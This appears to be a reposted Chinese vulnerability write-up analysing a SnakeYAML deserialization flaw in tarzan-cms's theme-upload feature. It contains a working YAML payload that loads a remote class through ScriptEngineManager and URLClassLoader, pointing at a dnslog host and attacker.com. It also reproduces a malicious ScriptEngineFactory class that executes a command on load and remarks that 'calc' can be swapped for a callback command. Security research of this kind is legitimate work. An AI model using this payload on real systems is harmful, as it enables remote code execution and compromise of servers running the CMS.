文章总结: 本文分析了tarzan-cms的SnakeYAML反序列化漏洞。系统在主题上传时解析theme.yaml调用Yaml.load(),导致反序列化。作者利用ScriptEngineManager结合URLClassLoader加载远程类,触发SPI机制执行命令。文章详细剖析了利用链原理,并提供了POC及恶意代码,验证了远程代码执行风险,建议修复该接口。 综合评分: 89 文章分类: 漏洞分析,代码审计,漏洞POC,应用安全,WEB安全
跟进upload(byte[])方法
image-20260112110323040
image-20260112110401589
继续跟进download来到control层
image-20260112110657440
找到upload接口
@ResponseBody
@PostMapping("/upload")
public ResponseVo upload(@RequestParam(value = "file", required = false) MultipartFile file) {
return themeService.upload(file);
}
利用链分析
javax/script/ScriptEngineManager.java
反序列化类的层层调用
image-20260112112718491
image-20260112112854084
其中ServiceLoader
- prefix指定了远程SPI加载器的访问目录
- service指定了访问远程SPI加载器的具体文件
- loader指定了远程SPI加载器的地址
image-20260112124609710
回来继续分析iterator()
看到调用lookupIterator.hasNext(),继续跟进hasNext()
image-20260112125423294
image-20260112125217563
继续跟进hasNextService()
image-20260112125505010
fullName就是完整的资源地址
最终就是ServiceLoader.java文件寻找以上调用内容
PREFIX:META-INF/services/
service:javax.script.ScriptEngineFactory
loader:http://attacker.com
fullname:META-INF/services/javax.script.ScriptEngineFactory
漏洞利用
web界面找到主题管理处有上传zip包功能点
image-20260112110810127
POC:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ttzepj.dnslog.cn"]
]]
]
上传数据包测试
image-20260112131013934
得到回显
image-20260112131026834
image-20260112131105077
利用现成项目https://github.com/artsploit/yaml-payload
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
image-20260112132356766
成功执行,实际环境中calc替换为上线命令即可
image-20260112133152622
image-20260112133015814
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:hutututu flowersboy《tarzan-cms:snakeyaml反序列化(ScriptEngineManager利用链)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论